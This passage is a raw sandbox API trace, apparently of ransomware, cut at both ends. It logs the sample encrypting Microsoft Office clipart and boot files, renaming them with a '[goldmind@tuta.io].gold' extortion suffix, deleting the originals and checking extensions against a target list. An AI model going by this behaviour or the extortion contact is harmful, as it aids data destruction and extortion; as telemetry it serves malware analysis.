office\\clipart\\pub60cor\\j0232795.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0116.226] GetLastError () returned 0x0 [0116.226] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x380a, lpOverlapped=0x0) returned 1 [0116.228] WriteFile (in: hFile=0x184, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3810, lpOverlapped=0x0) returned 1 [0116.230] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.233] WriteFile (in: hFile=0x184, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.233] SetEndOfFile (hFile=0x184) returned 1 [0116.233] CloseHandle (hObject=0x184) returned 1 [0116.233] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.233] SetEndOfFile (hFile=0x3ec) returned 1 [0116.235] CloseHandle (hObject=0x3ec) returned 1 [0116.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf")) returned 1 [0116.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.237] lstrlenW (lpString=".doc") returned 4 [0116.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.237] lstrlenW (lpString=".docx") returned 5 [0116.237] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0116.237] lstrlenW (lpString=".pdf") returned 4 [0116.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.237] lstrlenW (lpString=".xls") returned 4 [0116.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.237] lstrlenW (lpString=".xlsx") returned 5 [0116.237] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0116.237] lstrlenW (lpString=".ppt") returned 4 [0116.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString=".zip") returned 4 [0116.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.238] lstrlenW (lpString=".rar") returned 4 [0116.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString=".bz2") returned 4 [0116.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString=".7z") returned 3 [0116.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString=".dbf") returned 4 [0116.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString=".1cd") returned 4 [0116.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString=".jpg") returned 4 [0116.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString=".doc") returned 4 [0116.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString=".docx") returned 5 [0116.238] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0116.238] lstrlenW (lpString=".pdf") returned 4 [0116.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString=".xls") returned 4 [0116.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.238] lstrlenW (lpString=".xlsx") returned 5 [0116.238] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0116.238] lstrlenW (lpString=".ppt") returned 4 [0116.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString=".zip") returned 4 [0116.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.238] lstrlenW (lpString=".rar") returned 4 [0116.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString=".bz2") returned 4 [0116.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString=".7z") returned 3 [0116.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString=".dbf") returned 4 [0116.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.238] lstrlenW (lpString=".1cd") returned 4 [0116.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0116.239] lstrlenW (lpString=".jpg") returned 4 [0116.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.239] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.239] lstrlenW (lpString="J0232797.WMF") returned 12 [0116.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0116.240] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=35228) returned 1 [0116.240] CloseHandle (hObject=0x3ec) returned 1 [0116.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf")) returned 0x20 [0116.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0116.240] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.240] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0116.242] GetLastError () returned 0x0 [0116.242] ReadFile (hFile=0x3ec, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0) Thread: id = 60 os_tid = 0x6a0 Thread: id = 61 os_tid = 0x6a4 [0087.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x40632b0 [0087.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x40732b8 [0087.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541468 [0087.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x53f058 [0087.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541480 [0087.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x4210020 [0087.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541498 [0087.241] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541498, Size=0x20) returned 0x55ec20 [0087.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541498 [0087.241] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541498, Size=0x20) returned 0x55ec48 [0087.241] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0087.241] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0087.241] Wow64DisableWow64FsRedirection (in: OldValue=0x301ff58 | out: OldValue=0x301ff58*=0x0) returned 1 [0087.241] lstrlenW (lpString="kernel32.dll") returned 12 [0087.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ec20 | out: hHeap=0x4f0000) returned 1 [0087.241] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0087.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55ec48 | out: hHeap=0x4f0000) returned 1 [0087.241] lstrlenW (lpString="BCD") returned 3 [0087.241] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.241] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString=".doc") returned 4 [0087.242] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".docx") returned 5 [0087.242] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0087.242] lstrlenW (lpString=".pdf") returned 4 [0087.242] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".xls") returned 4 [0087.242] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".xlsx") returned 5 [0087.242] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0087.242] lstrlenW (lpString=".ppt") returned 4 [0087.242] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString=".zip") returned 4 [0087.242] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".rar") returned 4 [0087.242] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".bz2") returned 4 [0087.242] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".7z") returned 3 [0087.242] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0087.242] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString=".dbf") returned 4 [0087.242] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString=".1cd") returned 4 [0087.242] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString=".jpg") returned 4 [0087.242] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString=".doc") returned 4 [0087.242] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".docx") returned 5 [0087.242] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0087.242] lstrlenW (lpString=".pdf") returned 4 [0087.242] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".xls") returned 4 [0087.242] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".xlsx") returned 5 [0087.242] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0087.242] lstrlenW (lpString=".ppt") returned 4 [0087.242] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.242] lstrlenW (lpString=".zip") returned 4 [0087.242] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".rar") returned 4 [0087.242] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".bz2") returned 4 [0087.242] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0087.242] lstrlenW (lpString=".7z") returned 3 [0087.243] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0087.243] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.243] lstrlenW (lpString=".dbf") returned 4 [0087.243] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0087.243] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.243] lstrlenW (lpString=".1cd") returned 4 [0087.243] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0087.243] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0087.243] lstrlenW (lpString=".jpg") returned 4 [0087.243] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0087.243] lstrcmpiW (lpString1=".LOG1", lpString2=".gold") returned 1 [0087.243] lstrlenW (lpString="BCD.LOG1") returned 8 [0087.243] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0087.243] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0087.243] CloseHandle (hObject=0x1a0) returned 1 [0087.243] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.243] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.244] lstrlenW (lpString=".doc") returned 4 [0087.244] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".docx") returned 5 [0087.244] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0087.244] lstrlenW (lpString=".pdf") returned 4 [0087.244] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".xls") returned 4 [0087.244] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".xlsx") returned 5 [0087.244] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0087.244] lstrlenW (lpString=".ppt") returned 4 [0087.244] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.244] lstrlenW (lpString=".zip") returned 4 [0087.244] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".rar") returned 4 [0087.244] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".bz2") returned 4 [0087.244] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".7z") returned 3 [0087.244] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0087.244] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.244] lstrlenW (lpString=".dbf") returned 4 [0087.244] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.244] lstrlenW (lpString=".1cd") returned 4 [0087.244] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.244] lstrlenW (lpString=".jpg") returned 4 [0087.244] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.244] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.244] lstrlenW (lpString=".doc") returned 4 [0087.244] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".docx") returned 5 [0087.244] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0087.244] lstrlenW (lpString=".pdf") returned 4 [0087.244] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".xls") returned 4 [0087.244] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".xlsx") returned 5 [0087.244] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0087.244] lstrlenW (lpString=".ppt") returned 4 [0087.244] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.244] lstrlenW (lpString=".zip") returned 4 [0087.244] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".rar") returned 4 [0087.244] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".bz2") returned 4 [0087.244] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0087.244] lstrlenW (lpString=".7z") returned 3 [0087.244] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0087.245] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.245] lstrlenW (lpString=".dbf") returned 4 [0087.245] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0087.245] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.245] lstrlenW (lpString=".1cd") returned 4 [0087.245] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0087.245] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0087.245] lstrlenW (lpString=".jpg") returned 4 [0087.245] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0087.245] lstrcmpiW (lpString1=".LOG2", lpString2=".gold") returned 1 [0087.245] lstrlenW (lpString="BCD.LOG2") returned 8 [0087.245] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0087.245] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0087.245] CloseHandle (hObject=0x1a0) returned 1 [0087.245] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.245] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.245] lstrlenW (lpString=".doc") returned 4 [0087.245] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0087.245] lstrlenW (lpString=".docx") returned 5 [0087.245] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0087.245] lstrlenW (lpString=".pdf") returned 4 [0087.245] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0087.245] lstrlenW (lpString=".xls") returned 4 [0087.245] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0087.245] lstrlenW (lpString=".xlsx") returned 5 [0087.245] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0087.245] lstrlenW (lpString=".ppt") returned 4 [0087.245] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0087.245] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.246] lstrlenW (lpString=".zip") returned 4 [0087.246] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".rar") returned 4 [0087.246] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".bz2") returned 4 [0087.246] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".7z") returned 3 [0087.246] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0087.246] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.246] lstrlenW (lpString=".dbf") returned 4 [0087.246] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.246] lstrlenW (lpString=".1cd") returned 4 [0087.246] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.246] lstrlenW (lpString=".jpg") returned 4 [0087.246] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.246] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.246] lstrlenW (lpString=".doc") returned 4 [0087.246] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".docx") returned 5 [0087.246] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0087.246] lstrlenW (lpString=".pdf") returned 4 [0087.246] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".xls") returned 4 [0087.246] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".xlsx") returned 5 [0087.246] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0087.246] lstrlenW (lpString=".ppt") returned 4 [0087.246] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.246] lstrlenW (lpString=".zip") returned 4 [0087.246] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".rar") returned 4 [0087.246] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".bz2") returned 4 [0087.246] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0087.246] lstrlenW (lpString=".7z") returned 3 [0087.247] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0087.247] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.247] lstrlenW (lpString=".dbf") returned 4 [0087.247] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0087.247] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.247] lstrlenW (lpString=".1cd") returned 4 [0087.247] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0087.247] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0087.247] lstrlenW (lpString=".jpg") returned 4 [0087.247] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0087.247] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.247] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0087.247] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0087.247] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=89168) returned 1 [0087.247] CloseHandle (hObject=0x1a0) returned 1 [0087.247] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0087.247] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.247] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.247] lstrlenW (lpString=".doc") returned 4 [0087.247] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.247] lstrlenW (lpString=".docx") returned 5 [0087.247] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.247] lstrlenW (lpString=".pdf") returned 4 [0087.247] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.248] lstrlenW (lpString=".xls") returned 4 [0087.248] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.248] lstrlenW (lpString=".xlsx") returned 5 [0087.248] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.248] lstrlenW (lpString=".ppt") returned 4 [0087.248] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0087.248] lstrlenW (lpString=".zip") returned 4 [0087.248] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.248] lstrlenW (lpString=".rar") returned 4 [0087.248] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.248] lstrlenW (lpString=".bz2") returned 4 [0087.248] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.248] lstrlenW (lpString=".7z") returned 3 [0087.248] 